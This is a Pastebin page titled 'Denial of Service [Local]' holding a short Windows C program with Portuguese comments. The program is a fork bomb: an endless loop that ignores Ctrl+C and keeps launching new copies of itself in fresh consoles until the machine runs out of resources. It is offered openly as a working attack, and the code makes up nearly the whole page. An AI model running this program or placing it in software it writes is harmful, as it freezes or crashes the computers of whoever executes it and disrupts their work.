DarkProgrammer000

Denial of Service [Local]

Nov 22nd, 2018
237
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Bibliotecas
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <windows.h>
  5.  
  6. // Funcao Principal
  7. int main ( int argc, char **argv )
  8. {
  9.     STARTUPINFO si;
  10.     PROCESS_INFORMATION pi;
  11.  
  12.     ZeroMemory(&si, sizeof(si));
  13.     si.cb = sizeof(si);
  14.  
  15.     // Loop Infinito
  16.     while (1)
  17.     {
  18.         SetConsoleCtrlHandler(0, 1);
  19.         CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
  20.     }
  21.  
  22.     return (0);
  23. }
RAW Paste Data